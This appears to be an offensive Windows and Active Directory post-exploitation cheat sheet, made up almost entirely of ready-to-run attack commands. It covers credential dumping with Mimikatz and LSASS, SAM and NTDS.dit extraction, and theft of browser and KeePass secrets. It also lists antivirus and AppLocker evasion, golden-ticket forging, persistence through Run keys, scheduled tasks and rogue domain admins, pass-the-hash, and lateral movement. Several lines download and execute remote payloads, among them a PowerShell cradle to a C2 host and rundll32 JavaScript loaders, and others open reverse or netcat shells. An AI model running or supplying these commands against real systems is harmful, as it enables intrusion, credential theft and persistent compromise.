Esenutl.exe Dump Locked File

C:\WINDOWS\system32\esentutl.exe /y <SOURCE> /vss /d <DEST>

Can be useful where you want to dump SAM and (or) SYSTEM but the file is locked by the OS (Windows 10)

Check if Powershell Logging is Enabled

reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription



This is stupidily good, it can literally Enum everything you require and is also a .NET Assembly so can be reflectively loaded to avoid AV :D Win Win

BasicOSInfo           -   Basic OS info (i.e. architecture, OS version, etc.)
RebootSchedule        -   Reboot schedule (last 15 days) based on event IDs 12 and 13
TokenGroupPrivs       -   Current process/token privileges (e.g. SeDebugPrivilege/etc.)
UACSystemPolicies     -   UAC system policies via the registry
PowerShellSettings    -   PowerShell versions and security settings
AuditSettings         -   Audit settings via the registry
WEFSettings           -   Windows Event Forwarding (WEF) settings via the registry
LSASettings           -   LSA settings (including auth packages)
UserEnvVariables      -   Current user environment variables
SystemEnvVariables    -   Current system environment variables
UserFolders           -   Folders in C:\Users\
NonstandardServices   -   Services with file info company names that don't contain 'Microsoft'
InternetSettings      -   Internet settings including proxy configs
LapsSettings          -   LAPS settings, if installed
LocalGroupMembers     -   Members of local admins, RDP, and DCOM
MappedDrives          -   Mapped drives
RDPSessions           -   Current incoming RDP sessions
WMIMappedDrives       -   Mapped drives via WMI
NetworkShares         -   Network shares
FirewallRules         -   Deny firewall rules, "full" dumps all
AntiVirusWMI          -   Registered antivirus (via WMI)
InterestingProcesses  -   "Interesting" processes- defensive products and admin tools
RegistryAutoRuns      -   Registry autoruns
RegistryAutoLogon     -   Registry autologon information
DNSCache              -   DNS cache entries (via WMI)
ARPTable              -   Lists the current ARP table and adapter information (equivalent to arp -a)
AllTcpConnections     -   Lists current TCP connections and associated processes
AllUdpConnections     -   Lists current UDP connections and associated processes
NonstandardProcesses  -   Running processeswith file info company names that don't contain 'Microsoft'
  *  If the user is in high integrity, the following additional actions are run:
SysmonConfig          -   Sysmon configuration from the registry

And more!!

Dump Creds

(new-object System.Net.WebClient).DownloadString('');Invoke-Mimikatz 

Can also run Mimikatz.exe after some AV Evasion removing strings etc. ippSec has a great tutorial on this.

sekurlsa::logonPasswords full

The safer method is to dump the process memory of LSASS.exe with MiniDump 

(or) https://github.com/GhostPack/SharpDump

and send the .bin to Mimikatz locally.

sekurlsa::minidump C:\users\m0chan\lssas.dmp

Can also be used for dumping and pass the ticket attacks but will cover this elsewhere.

Mimikatz Guide

#Logon Sessions

sekurlsa::logonPasswords all

#Dump Cache


#Dump SAM


Dump Creds #2


laZagne.exe all
laZagne.exe browsers
laZagne.exe browsers -firefox

Dump SAM Remotely with WinRM

Invoke-Command -ComputerName m0chan -Credential $cred -ScriptBlock {reg save hklm\sam c:\temp\sam.save}

Invoke-Command -ComputerName m0chan -Credential $cred -ScriptBlock {reg save hklm\system c:\temp\system.save}

Invoke-Command -ComputerName m0chan -Credential $cred -ScriptBlock {reg save hklm\security c:\temp\security.save}

Running Mimikatz with GadgetToJScript or VBS


cscript mimi.js privilege::debug < safe.txt



Quietly digging up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP

SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools. It has WMI functionality built in so it can be run remotely. Its best use case is to identify systems that may connect to Unix systems, jump boxes, or point-of-sale terminals

Invoke-SessionGopher -Thorough

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Dump Chrome Passwords (Also Post Exploit)

#git clone https://github.com/rasta-mouse/CookieMonster

CookieMonster creds
CookieMonster.exe cookies -d [domain] -e 
CookieMonster -a 

Must be run in the context of the target users as chrome passwords are encrypted with DPAPI.

Can also use Mimikatz for this.

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data"

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data" /unprotect

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Cookies" /unprotect

Dump Process Memory w/ Mimikittenz


mimikittenz is a post-exploitation powershell tool that utilizes the Windows function ReadProcessMemory() in order to extract plain-text passwords from various target processes.

The aim of mimikittenz is to provide user-level (non-admin privileged) sensitive data extraction in order to maximise post exploitation efforts and increase value of information gathered per target.


Dump KeePass


Get-Process keepass
tasklist | findstr keepass

Attacking KeePass

Import-Module KeeThief.ps1
Get-KeePassDatabaseKey -Verbose

KeeTheft.exe, Microsoft.Diagnostics.Runtime.dll & KeePatched.exe can also be used.



Full python implementation of Mimikatz :D 

pip3 install pypykatz



Full C Sharp Implemenatation of Mimikatz that can be reflectively loaded :D 

"SafetyKatz is a combination of slightly modified version of @gentilkiwis Mimikatz project and @subtee's .NET PE Loader.

First, the MiniDumpWriteDump Win32 API call is used to create a minidump of LSASS to C:\Windows\Temp\debug.bin. Then @subtees PELoader is used to load a customized version of Mimikatz that runs sekurlsa::logonpasswords and sekurlsa::ekeys on the minidump file, removing the file after execution is complete."



Full C Sharp Implementation of Mimikatzs DPAPI features which allows access to DPAPI features.



Often a Red Team engagement is more than just achieving Domain Admin. Some clients will want to see if specific users in the domain can be compromised, for example the CEO.

SharpSniper is a simple tool to find the IP address of these users so that you can target their box.

C:\> SharpSniper.exe emusk DomainAdminUser DAPass123

User: emusk - IP Address:



SharpLocker helps get current user credentials by popping a fake Windows lock screen, all output is sent to Console which works perfect for Cobalt Strike.

Check for Missing KB’s


Use Watson.exe Assembly and reflectively load .NET Assembly into memory to avoid antivirus. 

More at the bottom re. Reflectively Loading stuff. (Also does not hurt to change certain strings etc)


Decrypt EFS Files with Mimikatz if Admin/System


cipher /c "d:\Users\Gentil Kiwi\Documents\m0chan.txt" - View if File is EFS Encrypted and whom can Decrypt, sometimes Impersonating a token is easier than manually decrying with mimikatz.

crypto::system /file:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\B53C6DE283C00203587A03DD3D0BF66E16969A55" /export

dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831043-1864828003-1001\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b"

dpapi::masterkey /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Protect\S-1-5-21-494464150-3436831043-1864828003-1001\1eccdbd2-4771-4360-8b19-9d6060a061dc" /password:waza1234/

dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831043-1864828003-1001\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b" /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b

openssl x509 -inform DER -outform PEM -in B53C6DE283C00203587A03DD3D0BF66E16969A55.der -out public.pem

openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_ffb75517-bc6c-4a40-8f8b-e2c555e30e34.pvk -out private.pem

openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot

UAC Bypass

https://egre55.github.io/system-properties-uac-bypass/ - Read Ghoul writeup on HTB for more Info 

findstr /C:"<autoElevate>true" 


Golden Ticket Attack

#Check my Blog Post Kerberos Attacks in Depth for Further Information

# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>

# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>

#Inject Ticket with Rebeus
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

.\PsExec.exe -accepteula \\<remote_hostname> cmd

DCSync & Golden Ticket in One


This script will abuse DCSync privileges to extract the krbtgt password and automatically generate a golden ticket before finally importing it into the current session.

You can then add yourself into the Domain Admins / Enterprise Admins group to gain persistance.


Child Domain to Forest Compromise

Domain = Logical group of objects (users, computers, servers etc etc) supported from a central location like a DC

Tree = Set of domains using same name space (DNS Name)

Trust = Agreement between 2 domains that allow cross-domain access to resources etc. i/e Michelle@dev.m0chan.com may be able to access resources inside HR.m0chan.com.

Forest = Largest Structure composed of all trees.

Most trees are linked with dual sided trust relationships to allow for sharing of resources.

By default the first domain created if the Forest Root.

Lets say we have owned a domain controller and got the KRBTGT Hash (The keys to the castle) we can now create 

Covert-NameToSid target.domain.com\krbtgt

Replace 502 with 519 to represent Enterprise Admins

Create golden ticket and attack parent domain. 

This will not work if there is SID Filtering in place for respective target domain.

harmj0ys article explains it best. 


Dump NTDS.dit

C:\vssadmin create shadow /for=C:
copy \\?
copy \\?
copy \\?
vssadmin delete shadows /for= [/oldest | /all | /shadow=]

If you pwn a BackupOperator account with SeBackupPrivilege you can also dump NTDS.dit

SeBackupPrivlege - Dump NTDS.dit

Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

PS C:\m0chan> Get-SeBackupPrivilege
SeBackupPrivilege is disabled

PS C:\m0chan> Set-SeBackupPrivilege

PS C:\m0chan> Get-SeBackupPrivilege
SeBackupPrivilege is enabled

PS C:\m0chan> Copy-FileSeBackupPrivilege P:\Windows\System32\ntds.dit C:\m0chan\ntds.dit -Overwrite
Copied 12582912 bytes

Use diskshadow to mount a shadow copy and then copy Windows\system32\ntds.dit 

Remember and not use C:\Windows\ntds\ntds.dit

reg.exe save hklm\system c:\m0chan\SYSTEM.bak

SecretsDumper Windows

secretsdumper.exe -ntds ~/Extract/ntds.dit -system ~/Extract/SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract


SSH Shuttle

./run -r root@ -e "ssh -i Root.key"



C# Libary Designed by FireEye to aid with Persistance using various techniques such as 

KeePass Backdoor
Reg Key
Sch Task Backdoor
Startup Folder (Link File)
Service Backdoor

See there github linked above for full Syntax, very cool work



SharpDoor is alternative RDPWrap written in C# to allowed multiple RDP (Remote Desktop) sessions by patching termsrv.dll file, for opsec considerations SharpDoor still using cmd.exe to run sc services to impersonating as trustedinstaller in the future will be avoiding cmd.exe usage, currently only support for Windows 10.

execute-assembly /root/Toolkits/SharpBinaries/SharpDoor.exe

AutoRun Registry

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

Run & Run Once

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate
/t REG_SZ /d "C:\Temp\SoftwareUpdate\Malware.exe"

Scheduled Tasks

#Note - Beaware. some EDR/Endpoint Solutions detect Scheduled Tasks being created and trigger alerts.

schtasks /create /sc minute /mo 1 /tn "Malware" /tr C:\Temp\SoftwareUpdate\Malware.exe

This will run Malware.exe every minute forever.

# Run Malware.exe every day at 06:00am
schtasks /create /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /sc daily /st 06:00

# Runs a task each time the user's session is idle for 5 minutes.
schtasks /create /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /sc onidle /i 5

# Runs a a task as SYSTEM when User Logs in.
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /sc onlogon

Windows Startup Folder

This has been around for years as basically every version of Windows contains a startup folder. 

Windows 10 - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Current User Startup - C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

EXE/DLL Hijacking

Look for any missing DLL's or EXE's that common programs are calling on startup and over write them with your payload/malware.

Also if you are localadmin/system you could provide over write a normal service binary or DLL, providing you don't break the execution.

Add User Account

net user m0chan /add /domain
net group "Domain Admins" m0chan /add /domain
net localgroup "Administrators" /add
net user m0chan /domain /comment:"Your Blueteam Fucking Sucks"

Persistence with Kerberos

We can dump Kerberos tickets and inject them in session when deemed relevant however tickets have a low life span unless explically requested for 7 days. 

They can be injected into session with mimikatz or Rebeus. 

But let's say we have pwned a DC and got the KRBTGT Hash we can generate a golden ticket with a 10 year life span.

kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:utilisateur.chocolate.kirbi 

SID is the domain SID

Inject Ticket

kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi

Can also inject kirbi with Rebeus

Lateral Movement

Highly recommened starting by reading this article which covers lateral movement in great depth by SpectreOps- https://posts.specterops.io/offensive-lateral-movement-1744ae62b14f

plink.exe -l root -pw password -R 445: YOURIPADDRESS

#Windows 1803 Built in SSH Client (By Default)

ssh -l root -pw password -R 445: YOURIPADDRESS

Powershell Port Forward

netsh interface portproxy add v4tov4 listenport=fromport listenaddress=fromip connectport=toport connectaddress=toip

Permanent ^^

Requires iphlpsvc service to be enabled

fromport: the port number to listen on, e.g. 80
fromip: the ip address to listen on, e.g.
toport: the port number to forward to
toip: the ip address to forward to



Local Socks4 Proxy on 1080

Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1080

Reverse Socks Proxy on Remote Machine Port 1080

# On the remote host: 
# Generate a private key and self signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem

# Get the certificate fingerprint to verify it:
openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":"

# Start the handler
python ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key

# On the local host:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 

# Go through the system proxy:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost -useSystemProxy

# Validate certificate
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost -useSystemProxy -certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E'

Socat for Windows


Generate SSL Cert for Encryption
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key

Server : socat OPENSSL-LISTEN:443,cert=/cert.pem -
Client : socat - OPENSSL:localhost:443

#Port Forward

socat OPENSSL-LISTEN:443,cert=/cert.pem,fork TCP:

All SSL Connections will be redirected to

#Non SSL Port Forward
socat TCP-LISTEN:80,fork TCP:



C# Implementation of Conventional Lateral Movement Techniques, such as 

-WMIExec - Semi-Interactive shell that runs as the user. Best described as a less mature version of Impacket's wmiexec.py tool.

-SMBExec - Semi-Interactive shell that runs as NT Authority\System. Best described as a less mature version of Impacket's smbexec.py tool.

-PSExec (like functionality) - Gives the operator the ability to execute remote commands as NT Authority\System or upload a file and execute it with or without arguments as NT Authority\System.

-WMI - Gives the operator the ability to execute remote commands as the user or upload a file and execute it with or without arguments as the user.

Secure Sockets Funneling

#git clone https://github.com/securesocketfunneling/ssf.git

Massive shout out to 0xdf for explaining this perfectly in his article. Couldnt have done it better myself. 

Chisel (Fast TCP Tunnel over HTTP secured by SSH)




WMIC Spawn Process




winrs [/<parameter>[:<value>]] <command>  

winrs /r:https://contoso.com command

winrs /r:http://[1080:0:0:0:8:800:200C:417A]:80 command  

winrs /r:myserver /ad /u:administrator /p:$%fgh7 dir \\anotherserver\share


Invoke-WMIExec -Target -Username rweston_da -Hash 3ff61fa259deee15e4042159d
7b832fa -Command "net user user pass /add /domain"

PS C:\users\user\Downloads> Invoke-WMIExec -Target -Username m0chan -Hash 3ff61fa259deee15e4042159d
7b832fa -Command "net group ""Domain Admins"" m0chan /add /domain"

Powershell Invoke-Command (Requires Port 5985)

$secpasswd = ConvertTo-SecureString 'pass' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('m0chan\user', $secpasswd)

Invoke-Command -ComputerName FS01 -Credential $cred -ScriptBlock {whoami}


psexec.exe \\dc01.m0chanAD.local cmd.exe

Powershell Remoting

$secpasswd = ConvertTo-SecureString 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('WS02\USER', $secpasswd)

$Session = New-PSSession -ComputerName FileServer -Credential $cred
Enter-PSSession $Session

Configure Remote Service over SMB (Requires Local Admin on Target Machine)

net use \\ [password] /u:DOMAIN\m0chan

sc \\ create <service_name> binpath= "cmd.exe /k COMMAND"
sc \\ create <service_name> binpath= "cmd.exe /k <c:\tools\nc.exe -L -p <port> -e cmd.exe>"
sc \\ start <service_name>


crackmapexec <ip> -u <user> -H "<lm>" -x "<msfvenom psh-cmd>"

impacket-wmiexec <user>@<ip> -hashes <lm:nt>

pth-winexe -U <user>%<ntlm> //<ip> "<msfvenom psh-cmd>"

python wmiexec.py -hashes :<hash> <user>@<ip>

xfreerdp /u:<user> /d:<domain> /pth:<ntlm> /v:<ip>:3389 /dynamic-resolution

sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a


#Check my Blog Post Kerberos Attacks in Depth for Further Information

Rebeus monitor /interval:30 

Monitoring logon sessions every 30 seconds so I can pinch Kerb tickets

Reubus will now give you a Kerberos ticket in base64 which you can pass with

Rubeus.exe ptt /ticket:[base64blobhere]

We can now request TGS service tickets to access network resources as this user

Microsoft SQL Proxy


mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a compromised Microsoft SQL Server via socket reuse. The client requires impacket and sysadmin privileges on the SQL server.

Obfuscation / Evasion Techniques



Can obfusacte Scripts & Commands 

Obfusacte script from remote url 

SET SCRIPTPATH https://thisdosentexist.m0chan.com/Invoke-Mimikatz.ps1

Can also set Sscript block base64 PS




Similar to Invoke-Obfusaction but allows you to obfusacte cradles for downloading i/e

IEX (New-Object Net.WebClient).DownloadString('http://c2server.com/Invoke-Mimikatz.ps1')





unicorn.py Nishang.ps1

AppLocker / Constrained Mode Bypasses

Verify If You Are in Constrained Mode


PowerShDLL - Powershell with no Powershell.exe via DLL’s


ftp> rundll32.exe C:\temp\PowerShdll.dll,main

PowershellVeryLess Bypass

git clone https://github.com/decoder-it/powershellveryless.git

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /reference: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll 

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll /out:c:\setup\powershellveryless.exe c:\scripts\powershellveryless.cs

Execute -> powershellveryless.exe script.ps1

script.ps1 = Script of your Choice

World Writable Folders (By Default on Windows 10 1803)



Downgrade Attack

Downgrading to PS Version 2 circumvates Constrained Mode

powershell.exe -version 2

Verifiy versions with $PSVersionTable

AppLocker COR Profile Bypass

set COR_PROFILER_PATH=C:\Users\m0chan\pwn\reverseshell.dll

Where .DLL is your payload i/e reverse shell, beacon etc. 

MSBuild Powershell/CMD Bypass

You can use this if cmd is not disabled but powershell is


C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe pshell.csproj

Also https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c

MSBuild PSAttack :D :D 



Use if Powershell.exe is not available. this does not rely on powershell.exe, but Instead directly calls powershell through .NET Framework circumvating most application whitelisting etc.

Has numerous modules prebuilt in and is built in C Sharp / .NET so can be reflectively loaded :)



Primiarily to be used with Cobalt & Execute Assembly but can also be reflectively loaded from any other C2 infra.

runDLL32 Bypass

#Reference: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

rundll32.exe is a .exe found on all Windows based systems located at C:\Windows\system32\rundll32.exe

rundll32 shell32.dll,Control_RunDLL payload.dll

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication <HTML Code>

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")


#Reference: https://github.com/padovah4ck/PSByPassCLM

This technique might come in handy wherever or whenever you're stuck in a low privilege PS console
and PowerShell Version 2 engine is not available to perform a PowerShell Downgrade Attacks.

Build Binary :



Open Subshell in Current Console
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Open a PS Reverse Shell with Bypass Integrated

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost= /rport=443 /U c:\temp\psby.exe